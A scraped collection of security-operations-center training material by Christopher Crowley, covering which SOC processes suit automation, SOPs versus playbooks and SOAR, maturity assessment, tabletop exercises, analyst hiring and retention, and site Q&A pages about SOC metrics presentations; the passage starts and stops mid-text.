Christopher Crowley Security Operations 20Building Workflow •Inputs, People, Technology, Processes, and Outputs •Enumerate these items, link together •The workflow could be a detailed subset or many items •In describing a SOC, I’ve developed a work flow of the processes available for download https://www.soc- class.com/resWorkflow: Multiple Steps Copyright Christopher Crowley Security Operations 21Building Toward Automation •For the processes established, and the workflow sequence, attempt to do each step within the automation tool •Make each task a reusable atom, and link these together •Most automation tools are capable of doing this, and come pre-populated with a set of common tasksDefine Process, Test Steps Copyright Christopher Crowley Security Operations 22Building Toward Automation •Analysis by an Analyst is a core component of Security Operations, and is what most products are supposed to be Orchestrating and AutomatingComplicated Example Copyright Christopher Crowley Security Operations 23List Revisited Copyright Christopher Crowley Security Operations 24Process List for Automation •There’s value in listing everything, but at some degree the value of further division proves to be vanishingly useful •Let’s go through some examples from the list I provided earlierExhaustive Lists Can be Exhausting Copyright Christopher Crowley Security Operations 25Process List for Automation •Suggested method is to review the list and identify “exact steps to follow” in the specificity level, and see if the action could be performed by a script, if so, it is a Moderate (or higher candidate) •To become Highest, it needs to be done very frequently and have minimal tolerance for errorsWhich are Good Candidates Copyright Christopher Crowley Security Operations 26Process List for Automation •Suggested method is to review the list and identify “General Steps” in the specificity level, and verify that the action could not be performed by a script, that’s Lowest •To become None, it’s a human action that doesn’t warrant orchestration of data collection, because the act of data collection by the analyst/operator has value to the process output and outcomeWhich are Poor Candidates Copyright Christopher Crowley Security Operations 27Reference: Functional Areas of a SOC Threat Intelligence Incident Response Forensics Self-Assessment Steering Committee Command Center Monitoring Steering Committee: Forming a steering committee to provide oversight and advice is another really good step forward not only in formulating Security Operations requirements, but also in helping to ensure your efforts stay on track. Key stakeholders such as the following should be invited to be on the steering committee: •The head of your organization’s legal department •The head of human relations (HR) •The head of physical security •The head of public relations (PR) •The head of IT and/or operations •The head of Government relations (if applicable) •Business unit managers Steering committee members provide input concerning what they do and do not want when it comes to SOC efforts. They will also provide honest feedback concerning what the SOC function has and has not done correctly—feedback you can use to improve the function. Finally, if an incident occurs with a business unit or involves a breach of both physical and logical security, you will already have a relationship with key players in other areas, thus increasing the likelihood of mutual cooperation. Obtaining certain kinds of documentation can also be helpful in formulating requirements. If you are able to get hold of your organization’s business or operational plan, something to which access is normally extremely restricted, you can become acquainted firsthand with business directions and drivers. This, in turn, will help you know what kinds of SOC activities are most needed. Internal and external audit reports will also provide a strong indication of the business directions and drivers, as well as areas within your organization that might have much higher levels of unmitigated risk than others. Legal and regulatory compliance strategy documents will tell you much about your organization’s risk appetite regarding legal and regulatory risk. Past incident reports will not only inform you concerning the kinds of incidents that have occurred in the past, but also what kind of content should have been included in the SOC requirements, but was omitted. Command Center: The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is and is not an incident based on technical indicators and the defined policies and guidance. The SOC is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. Command Center SOC Operations: Anticipate the operational requirements for the systems in use within the SOC. These systems require deployment, testing, and ongoing operational monitoring for the same sort of confidentiality, integrity, and availability of systems as those systems the SOC is intended to protect. In fact, the SOC represents an ideal target for an adversary to compromise. Apply strict management controls to these practices. Hopefully the organization has a mature practice of operations and these practices can be applied to the SOC systems. Without this maturity the SOC risks complaisance and a false sense of security. Excellence in operations and the ability to manage change is the base from which the sort of control we want for security emanates. Network Security Monitoring: Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By the functional areas definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion or at rest. Some literature distinguishes NSM from continuous security monitoring (CSM) or similar monitoring activities. Security Monitoring might be a better term for your instance if this overloading of NSM bothers you. This activity involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. Threat Intelligence: The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include VirusTotal (https://www.virustotal.com/ ), other sandboxing sites, and reputation services such as anti-spam lists and website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. Incident Response: The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. We’ll delve into specific details of IR on days 4 and 5. Forensics: Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics: Host, Network, Reverse Engineering, and eDiscovery. Self-Assessment: As with Forensics, there are various subcategories of self-assessment: Configuration Monitoring, Vulnerability Assessment, Pen Testing, and Exercise Development. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. Copyright Christopher Crowley Security Operations 28Process List for Automation •Some work doesn’t lend itself to the automation •Metrics Review and SOC performance delta might be good for orchestrating the data, pulling it together from multiple systemsExamples: Steering Committee Review Policy General Steps No 2020-08-31None Review MetricsExact Steps to Follow No 2020-08-31Lowest Determine SOC performance deltaSteps Plus Details No 2020-08-31Lowest Copyright Christopher Crowley Security Operations 29Process List for Automation •Constituents: Frequent, precision and repeatability very important •Impact Assessment: Orchestration among many systems would make this very difficult task substantially more robust and repeatable •HR Interaction: distinct and unique situations typically. If the scenario is the same each time (ex. inappropriate use noticed via web proxy), would move up to ModerateExamples: Command Center Notify Constituents - General Threat BulletinExact Steps to Follow 2020-06-01Highest Impact Assessment General Steps No 2020-06-01Moderate HR InteractionExact Steps to Follow No 2020-06-01Lowest Copyright Christopher Crowley Security Operations 30Process List for Automation •Validation: Highest, automatable, critical, constant •Mining: Orchestration and automation opportunity, frequent (should be), maybe developed during hunt •Hunting: None: Don’t limit the process, automation is a potential output from a hunt, not the hunt itselfExamples: Network Security Monitoring Validate receipt of data sourcesExact Steps to Follow No 2020-06-14Highest Data Mining General Steps No 2020-07-01Moderate Hunting General Steps No 2020-05-01None Copyright Christopher Crowley Security Operations 31Process List for Automation •Correlation: orchestration opportunity •Enrichment: make available threat data immediately available to monitoring teams to deliver most value with that data (decision on what to include: not automated) •Name sets: value in analysts deciding on namingExamples: Threat Intel CorrelationSteps Plus Details No 2020-07-01Moderate Enrichment of Data with Threat Intel in SIEMSteps Plus Details No 2020-07-01Highest Name setsExact Steps to Follow No 2020-07-01None Copyright Christopher Crowley Security Operations 32Process List for Automation •Contain: Host, Account, VPN: common, automatable, precision needed •Asset Collection: Common, automatable •Fly Away: None. We still need processbut not orchestration or automationExamples: Incident Response Containment –host, account, VPNExact Steps to Follow No 2020-04-01Highest Asset CollectionExact Steps to Follow No 2020-04-01Moderate Fly Away capability Steps Plus Details Yes 2020-04-01None Copyright Christopher Crowley Security Operations 33Process List for Automation •No highest priority to automate in the self-assessment, but some tasks lend themselves to automation •Vulnerability Scanning (after updating scan policies) can be scheduled •Change Approval can be orchestrated •Exercise creation doesn’t make sense for automationExamples: Self-Assessment Vulnerability ScanningExact Steps to Follow No 2020-04-01Moderate Change ApprovalSteps Plus Details No 2020-04-01Lowest Create Exercises General Steps No 2020-04-01None Copyright Christopher Crowley Security Operations 34Conclusion Copyright Christopher Crowley Security Operations 35Action Items •Automation & Orchestration defined in context of: •Identify, Investigate, Analyze, Respond, Recover •Orchestrate for complex sequence across multiple systems with clear objectives and outcomes •Automate testable, multi-step, well defined, actions •Acknowledge some efforts are not good candidates for automation and orchestration •Automate, Orchestrate, Assess, Repeat, Improve…Recap --- ## Source: https://montance.com/questions.php?id=156 [![pdf](content/images/icons/pdf.svg) Cybrary SOC Series 004](https://drive.google.com/file/d/1REp7X3n4LbiktCh1NQi461ByeDImHAsL/view?usp=drive_link) Cybrary SOC Series 004 Presentation by Christopher Crowley (2021-07-11) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cybrary SOC Series 004 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1REp7X3n4LbiktCh1NQi461ByeDImHAsL/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1REp7X3n4LbiktCh1NQi461ByeDImHAsL/view?usp=drive_link]** Maximizing Security Operations How to Enhance Your SOC’s Capability and Maturity Montance® LLC Failure to address skill gaps will hurt your business. Introductions Amanda Davi Director of Business Development Cybrary Chris Crowley Consultant, Author of SOC-Class.com Montance ®LLC Montance® LLC Failure to address skill gaps will hurt your business. Overview ● In Parts 1, 2, and 3 we covered: ○ The functional areas of a SOC ○ The purpose of a SOC ○ The importance of a SOC to the greater picture of cybersecurity ○ SOC architecture ○ Hiring, training, and retaining staff; and Incident Response ● Today, we’ll discuss: ○ Variations on SOPs, Playbooks, SOAR ○ Technology, Maturity assessments, Tabletops ○ Reporting, Communication, coordination ○ SOC-Class Architectural Model Montance® LLC First, brief Answers to Requests from Session 3 Montance® LLC Failure to address skill gaps will hurt your business. Interview and Resume Prep ● There were a lot of questions about how to prep for interviews and resumes, etc. ● That’s not a focal point for me, as I’m not an active job seeker nor a hiring manager (if you want to talk privately about consulting, legal contracts, insurance, etc. that’s where I live most of the time now) ● The best resource I know of for job seekers is Jason Blanchard, he’s got a lot of material on exactly this subject: https://www.linkedin.com/in/jasonsblanchard/ -or- www.twitch.tv/banjocrashland Montance® LLC Failure to address skill gaps will hurt your business. Cloud Resources ● Cloud vendors have extensive documentation and guidance on how to configure and secure their environments ● In addition to the asset configuration (an OS, a microservices instance, an active directory in the cloud,…) you also have to protect the configuration of the platform and the accounts you use to access it ● You must avoid proliferation of accounts and teams developing this, which means the cloud team needs adequate resources to develop flexible timely solutions ● Finally, cloud is just another way to implement technology… Montance® LLC Variations on SOPs, Playbooks, SOAR Montance® LLC Failure to address skill gaps will hurt your business. Standard Operating Procedures: SOPs ● The older strategy for defining what people do ● Tends to be more rigorous and less flexible, but this might be what your team needs ● Whoever develops them needs to anticipate and document the actions needed by analysts ● I address this in procedures by defining the specificity of the documented procedure ○ Exact steps to follow ○ Steps and details ○ General guidance ● The point is that I’m telling the person following direction when I mean, “do exactly as I say,” and when the direction is general and professional judgment should be exercised ● In very rigorously procedural teams, I also define a procedure for deviating from standard operating procedure Montance® LLC Failure to address skill gaps will hurt your business. Playbooks ● Playbooks were supposed to move us away from the unnecessary rigor of SOPs ● The playbook becomes a minimal sketch of how we work, and people fill in the gaps ● This can work really well in teams where the management embraces this strategy and rewards performance and accomplishing objectives in efficient ways ● It becomes challenging in big teams, geographically disparate teams, and teams with a lot of turn-over ● My specificity approach can utilize playbook approach: give objectives, suggested tools, and issues to avoid Montance® LLC Failure to address skill gaps will hurt your business. SOAR ● SOAR – Security Orchestration, Automation, and Response are tools that capture the essence of our ticketing systems (which are business procedure tracking and task assignment systems) and the nuances of synthesizing information in ways relevant to cybersecurity operations ●The technology doesn’t replace your SIEM, EDP, XDR, … ●It also doesn’t eliminate the need for analysts, it makes them more efficient and effective at the SOC work ●I wrote a paper recently released via SANS on a specific technology, but the essence is the same across all of them: you need to know what you want to do to use a SOAR effectively; the tools come with many defaults, too ●Often, this implementation drives your introspection and maturity in this space Montance® LLC Technology Montance® LLC Failure to address skill gaps will hurt your business. Technology ● Speaking of SOAR technology, there are many technologies a SOC needs ● I have a taxonomy I use to describe this. See my RSA 2021: Technology Taxonomy talk ● If you can’t listen to it, you can download the PDF from my public folder in google drive: https://mgt517.com/soc ● Categories: Visibility, Comms, Ops, Detect & Prevent, Storage, Deception, and Analysis ● Sub-categories and specific tools to each one Montance® LLC Failure to address skill gaps will hurt your business. Technology ● Visibility: weather, IT monitoring, threat intel, partner / dependency visibility ● Communication: status portals, email, chat, telephone ● Ops: ticketing, SOAR, dev/qa/stage of SOC operational systems ● Detect & Prevent: endpoint, network, infra/extra-structure, correlation ● Storage: aggregation, long term storage, destruction ● Deception: models, decoys, containment nets, honey-*, fake accounts and personas ● Analysis: code, hardware, baselining, mapping, correlation, scanning, forensics ● Do you have a list of all your tech, categorized, with gap analysis? Montance® LLC Procedural Maturity Montance® LLC Failure to address skill gaps will hurt your business. Metrics for Procedural Maturity ● Metrics sources ○ Ticketing System ○ SIEM tool ○ SOAR tool ○ Baseline development process ● Example metrics: any time metric should have a corresponding quality metric ○ Time to [detect|contain|recover|…] ○ Percent incidents re-opened ○ Percentage systems security-managed (number of assets with all security tools in place and correlation to system owner and POCs divided by number of assets observed by SOC via network / host monitoring x 100) ○ Analyst query complexity (on a per-analyst basis) ○ Analyst lines contributed to script repository Montance® LLC Overall Maturity Montance® LLC Failure to address skill gaps will hurt your business. Maturity Assessment ● MITRE ATT&CK - D3FEND ○ Original ATT&CK paper states a “defensive gap analysis“ should be performed to assess the confidence in detection of Tactics from the matrices ○ By cross-walking the results of that analysis with the threat groups likely to attack that company, objectives for improvement can be identified to gain confidence in appropriate defensive areas ● SOC-CMM ○ Extensive spreadsheet driven inspection to assess maturity and capability ○ Maps to NIST CSF ○ Objective maturity level identified in advance (or after the assessment) to direct resources and activity Montance® LLC Reporting, Communication, Coordination Montance® LLC Failure to address skill gaps will hurt your business. Reporting ● Our SOCs are generally terrible at reporting information ● Please focus on clear and effective writing in your SOC ● Please focus on effective info-graphics (https://www.edwardtufte.com/tufte/ ) ● Tabletops help to determine what information might be needed ●Look at every report, and have analysts peer review reports ●Move away from static documents and move toward portals with tailored views for your constituents ●Have a way of communicating impact Montance® LLC Failure to address skill gaps will hurt your business. Communication ● If you know exactly how you communicate with your constituents, you’re moving in the right direction ● Personal experience during hurricane katrina: 504 area code was unable to receive phone calls; our email server (~35,000 people) was unavailable ● This is a perpetual problem, you need both push and pull communication methods across multiple channels for all staff ● Communication overload: staff with SOC responsibilities also need a break from being on-call; plan for coverage and time off Montance® LLC Failure to address skill gaps will hurt your business. Coordination ● My preference generally for containment and eradication type actions is to have the network/system admin for the system to perform the change at the direction of the incident handling tactical lead ● This presumes the mature approach of incident handling with a paired lead strategy (internal/external) or (communication/tactical) to interface with constituents and tactical operational team simultaneously with different leads ● Often there is some way that teams have come to operate but it is put to the test in emergency situations; when they try to “phase shift” into an alternate, streamlined structure of communications and operations Montance® LLC Failure to address skill gaps will hurt your business. Tabletops ● All of these things can be tested by tabletop exercises ● Take a lot of effort to bring everyone together for a realistic scenario ● Pick the most likely one or two scenarios ● Develop plausible failures that would complicate the situation ● Assess the team’s performance in multiple ways: followed the plan, accomplished goals, worked well together, technically coherent ● Building tabletops is its own art, needs to be tailored to the expected audience ● I do this as a consulting engagement for companies, it’s never easy or assured of success Montance® LLC SOC-Class Architectural Model Montance® LLC Failure to address skill gaps will hurt your business. My SOC “Reference Model” Created for SOC-Class.com Montance® LLC Conclusion Montance® LLC Failure to address skill gaps will hurt your business. Conclusion ● I’ve really enjoyed this series. I hope you did too! ● In Parts 1, 2, and 3 we covered: ○ The functional areas of a SOC ○ The purpose of a SOC ○ The importance of a SOC to the greater picture of cybersecurity ○ SOC architecture ○ Hiring, training, and retaining staff; and Incident Response ● Today, we discussed: ○ Variations on SOPs, Playbooks, SOAR ○ Technology, Maturity assessments, Tabletops ○ Reporting, Communication, coordination ○ SOC-Class Architectural Model Montance® LLC Failure to address skill gaps will hurt your business. Let’s Connect Amanda Davi adavi@cybrary.it linkedin.com/in/amanda-davi www.cybrary.it/businessChris Crowley chris@montance.com mgt517.com/linkedin www.soc-class.com Montance® LLC Failure to address skill gaps will hurt your business. Resources ● Cybrary SOC Career Paths ○Level 1 ○Level 2 ○Level 3 ● Montance® SOC-Class: August online, November in person (Las Vegas) ○https://soc-class.com ●SOC Survey Key Findings and Results Video Series : https://soc-survey.com Montance® LLC Thanks For Joining Us! Montance® LLC --- ## Source: https://montance.com/questions.php?id=155 [![pdf](content/images/icons/pdf.svg) Cybrary SOC Series 003](https://drive.google.com/file/d/1LaCBTviv0pPUTuMjJV6MBvpFcJ1s_txP/view?usp=drive_link) Cybrary SOC Series 003 Presentation by Christopher Crowley (2021-06-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cybrary SOC Series 003 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1LaCBTviv0pPUTuMjJV6MBvpFcJ1s_txP/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1LaCBTviv0pPUTuMjJV6MBvpFcJ1s_txP/view?usp=drive_link]** Maximizing Security Operations How to Enhance Your SOC’s Capability and Maturity Montance® LLC Failure to address skill gaps will hurt your business. Introductions Amanda Davi Director of Business Development Cybrary Chris Crowley Consultant, Author of SOC-Class.com Montance ®LLC Montance® LLC Failure to address skill gaps will hurt your business. Overview ● In Parts 1 and 2, we covered: ○ The functional areas of a SOC ○ The purpose of a SOC ○ The importance of a SOC to the greater picture of cybersecurity ○ SOC architecture ○ Training staff ● Today, we’ll discuss: ○ Incident response: What happens when there’s an active threat? ○ Hiring and retaining staff Montance® LLC SOC Incident Handling Montance® LLC Failure to address skill gaps will hurt your business. How Do We Start IR? • No single clear “winner” on this response • In the 2020 SOC-Survey multiple selected items common ( https://soc-survey.com ) Montance® LLC Failure to address skill gaps will hurt your business. How Do We Perform IR? ● SOC – IR relation ● Most popular is internal SOC capability (24) ● Next most popular is ad-hoc duty when needed (21) ● I call the “ad-hoc” approach phase shift Montance® LLC Internal SOC Capability (24)Ad Hoc Duty When Needed (21) Failure to address skill gaps will hurt your business. IR –What Do We Really Do? ● Emblematic description: Three characters of incident response ○ Janitorial Services: low cost, routine ○ Fire Fighters: intervention, minimize loss ○ Apex Predator: high performance ●www.mgt517.com/ir3 (my blog post with more details) Montance® LLC SOC Staff Hiring Analysts Montance® LLC Failure to address skill gaps will hurt your business. Background ● I’ve got strong opinions about ongoing training in the cyber domain ● We’re asking people to do lots of different things with substantial uncertainty at risk (personally and on behalf of the organization) with “high penalty for error or failure” ●In business (and personally) I’m risk tolerant (MTB, Mountain Climbing, Motorcycles,…) with much experience pushing without overstepping boundarie s Montance® LLC Failure to address skill gaps will hurt your business. Hiring Guidance ● Define an Analyst hiring strategy ○ Unicorns: Only the best of the best ○ Team rebalancing: we have a set of things to do, as people come and go we hire for the deficiencies in the current team composition ○ Role-based: specific roles perform given tasks, hire people with appropriate knowledge, skills, and abilities ● Seek balance ○ Multiple perspectives, backgrounds, and capabilities is better than a monoculture Montance® LLC Failure to address skill gaps will hurt your business. Institutionalize Hiring ● Develop a fair, repeatable hiring practice ○ Leverage the same phone screening with basis for grading / assessing the candidate’s responses ○ The same technical challenges and interview questions with equal basis ● Attract candidates before you need to fill roles ○ Internal organization IT 🡪Cyber job progression developed with IT managers ○ Your staff should be reaching out to the community to find good candidates, standard job postings tend to be less effective in the cyber field ● Work with your HR team to develop your customized and effective hiring model ○ This is time and effort well spent, once you’ve decided on a strategy (previous slide) and have an idea of what sort of staff roles you can afford Montance® LLC SOC Staff Knowledge, Skills, Abilities Montance® LLC Failure to address skill gaps will hurt your business. Training ● Covered extensively in previous webcast (listen to it if you haven’t already) ○ Have a plan, certifications as milestones ○ Build an internal training capability that reinforces the idea of constant practice for delivery of excellent quality output ● In hiring, there is a promise to the candidate of institutional support for training ○ Come in with Cert A, and B, or accomplish within 6 months. ○ “Standard” progression mapping, with flexibility for individuals to self-direct ● Culture of personal growth, focus on quality, support for careers ○ Many organizations fear this investment because the organization sees it as equipping the staff to leave. I’ll cover this in the retention section next Montance® LLC Failure to address skill gaps will hurt your business. Training by Levels or Roles? ● NICE from NIST has an amazing spreadsheet you should look at ● I use a simplified version based on Junior/Mid/Senior ● Senior, to me, is someone who is capable of making decisions after weighing all of the organizational and environmental factors and constraints to arrive at an optimal approach Montance® LLC Failure to address skill gaps will hurt your business. Screen/Research/Tech Challenge/Interview ● I’m going to walk through my simplified training set and provide an accompanying question ● Each question can be used in multiple ways ○ Screening: talk to the candidate about it via a video call ○ Research: ask the candidate to do some research then provide a report, slides, and a 15-20 minute presentation to some of the team on a topic ○ Tech Challenge: build a scenario in a VM with the data set, the tools you want used, and basic instructions for how to use the tools to accomplish the tasks. Verbal report and/or written report with presentation ○ Interview: during an interview pose questions around scenarios you encounter relevant to the question and ask the candidate to weigh varying options and explain why one is chosen over another Montance® LLC Failure to address skill gaps will hurt your business. Junior ● How computers talk to one another: DNS, IP, TCP/UDP, HTTP(s), TLS Question: “Explain DNS in as much detail as you can” ● Common successful adversary techniques and tactics (MITRE ATT&CK is a good list) for C2, attacks (service side, client side, phishing, web app attacks, etc.) Question: “Explain one (or provide specific) attacker attack technique from MITRE ATT&CK or any other framework you’re familiar with” ● Basic host-based acquisition, pre-forensic collection, baseline development, and hunting in this data Question: “Describe host based acquisition on any systems you’re familiar with.” ● Report writing fundamentals Question: “What types of reports have you authored? Have you used a template? Have you used a tool? What, how, why? What would you change?” Montance® LLC Failure to address skill gaps will hurt your business. Mid-Level ● Host memory collection and basic analysis Question: If you were to acquire memory from a potentially compromised {linux|macOS|azure|windows|…} host, how would you do it? ● Basic reverse engineering Question: Tell me the tools you would use in sequence if I asked you to assess a portable executable (PE) file. ● Architecture and security specifications Question: If you were tasked with updating our baseline workflow, what would you need to do that? ● Organization OSINT research Question: What do you think is the primary utility of OSINT for the SOC? ● Report writing fundamentals, review of all reports written by other analysts Montance® LLC Failure to address skill gaps will hurt your business. Senior ● Advanced assessment creation (eg. novel C2 development) Question: if you were to develop a scenario to test our SOC’s ability to discover new forms of C2 on our network, how would you construct that? ● Advanced memory, advanced host and forensic analysis Question: We use volatility to assess windows systems for malware. If you had a memory sample, specifically how would you assess that sample for malware? ● Insider threat hunting scenario development Question: what do you think is the most likely insider threat to our organization? ● Use case development lead modeling business need ● Hunt team program lead (create new hunts based on current threat intelligence) ● Report writing fundamentals, info graphical depiction of complicated information and all metrics review Montance® LLC SOC Staff Retention Montance® LLC Failure to address skill gaps will hurt your business. Retention ● Summary of incentives we can offer ○ Money ○ Glory ● Opposite are penalties: motivators, maybe directly used or implied as threats ○ Legal ramifications ○ Career implications ○ Payback for training or education (I don’t like this) Montance® LLC Failure to address skill gaps will hurt your business. Money Montance® LLC Failure to address skill gaps will hurt your business. Glory Based: Intelligence ● Previously described training and professional development becomes an incentive to stay ○ Imagine working in a place that constantly focuses on developing your intellect ○ Then, imagine leaving that place to go back to a corporate culture that just doesn’t care to help you to be your best. ○ Sound appealing? Your high performing, motivated, caring employees don’t think it does Montance® LLC Failure to address skill gaps will hurt your business. Glory Based: Energy ● It really makes a difference: people leave employment at businesses where they feel drained ● Give introverts space and extroverts social opportunities, and make sure they don’t bother one another too much  ● How about a 60 minute chair massage onsite once a month for everyone who does shift work in the SOC that month ● Glory based motivations that track performance and acknowledge quality and volume of work ●Example: I refuse to be demoted in, I increase my training to stay in Duolingo Diamond League Montance® LLC Failure to address skill gaps will hurt your business. Glory Based: Integrity ● People who believe in the work that is done tend to stay with a business ○ Reinforce how the individual’s contribution fits into the larger mission ○ Develop trust and show that each person has autonomy, and can grow that autonomy as the trust increases ○ This sense of belonging and meaningful participation is a motivator to stay ○ Another aspect of this is if a person thinks the job can’t be replicated anywhere else Montance® LLC Conclusion Montance® LLC Failure to address skill gaps will hurt your business. Conclusion ● Incident Response is a unique aspect of security operations ● Hiring well makes for better performance ● After going through all the trouble of hiring, it’s worth your effort to retain people ● Training is only one part of this. Think in terms of: $ Money, Glory, Intelligence, Energy, and Integrity ● In our next installment, we’ll discuss ____ Montance® LLC Failure to address skill gaps will hurt your business. Let’s Connect Amanda Davi adavi@cybrary.it linkedin.com/in/amanda-davi www.cybrary.it/businessChris Crowley chris@montance.com mgt517.com/linkedin www.soc-class.com Montance® LLC Failure to address skill gaps will hurt your business. Resources ● Cybrary SOC Career Paths ○Level 1 ○Level 2 ○Level 3 ● Montance® SOC-Class: August online, November in person (Las Vegas) ○https://soc-class.com ●SOC Survey Key Findings and Results Video Series Montance® LLC Thanks For Joining Us! Montance® LLC --- ## Source: https://montance.com/questions.php?id=127 [![pdf](content/images/icons/pdf.svg) SOC Stock Metrics.pdf](https://drive.google.com/file/d/1k8kxNk5l7jzC82MiCLoXnfYOZXKLDWGG/view?usp=drive_link) SOC Stock Metrics Presentation covering Metrics titled 'SOC Stock Metrics'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Who is the author of the SOC Stock Metrics document? A: David Mackey. * Q: What are the four classes of metrics defined in the document? A: Business Processes, Technological Processes, Operational Processes, and Analytical Processes. * Q: What does the 'Number of devices per employee' metric track? A: The ratio of SOC analysts to the number of monitored feeds/devices to prevent burnout. * Q: What is the purpose of tracking 'Patched systems'? A: To measure adherence to internal patch management policy. * Q: What does the 'Top 10 events' metric show? A: The most severe security events over time, used to identify attack trends. * Q: What is the 'Golden Triangle' mentioned in the context of metrics? A: People, Process, and Technology. * Q: What is the 'Infected systems' metric? A: Shows the number of systems infected by malcode and cleaned over time. * Q: What is the 'Top 10 attacked ports' metric used for? A: To show trends in port attacks by day. * Q: What date was the document last updated? A: Thursday, October 23, 2008. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1k8kxNk5l7jzC82MiCLoXnfYOZXKLDWGG/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1k8kxNk5l7jzC82MiCLoXnfYOZXKLDWGG/view?usp=drive_link]** • • • • Security Awareness Security Awareness Steering Committee: Forming a steering committee to provide oversight and advice is another really good step forward not only in formulating Security Operations requirements, but also in helping to ensure your efforts stay on track. Key stakeholders such as the following should be invited to be on the steering committee: •The head of your organization’s legal department •The head of human relations (HR) •The head of physical security •The head of public relations (PR) •The head of IT and/or operations •The head of Government relations (if applicable) •Business unit managers Steering committee members provide input concerning what they do and do not want when it comes to SOC efforts. They will also provide honest feedback concerning what the SOC function has and has not done correctly—feedback you can use to improve the function. Finally, if an incident occurs with a business unit or involves a breach of both physical and logical security, you will already have a relationship with key players in other areas, thus increasing the likelihood of mutual cooperation. Obtaining certain kinds of documentation can also be helpful in formulating requirements. If you are able to get hold of your organization’s business or operational plan, something to which access is normally extremely restricted, you can become acquainted firsthand with business directions and drivers. This, in turn, will help you know what kinds of SOC activities are most needed. Internal and external audit reports will also provide a strong indication of the business directions and drivers, as well as areas within your organization that might have much higher levels of unmitigated risk than others. Legal and regulatory compliance strategy documents will tell you much about your organization’s risk appetite regarding legal and regulatory risk. Past incident reports will not only inform you concerning the kinds of incidents that have occurred in the past, but also what kind of content should have been included in the SOC requirements, but was omitted. Command Center: The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is and is not an incident based on technical indicators and the defined policies and guidance. The SOC is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. Command Center SOC Operations: Anticipate the operational requirements for the systems in use within the SOC. These systems require deployment, testing, and ongoing 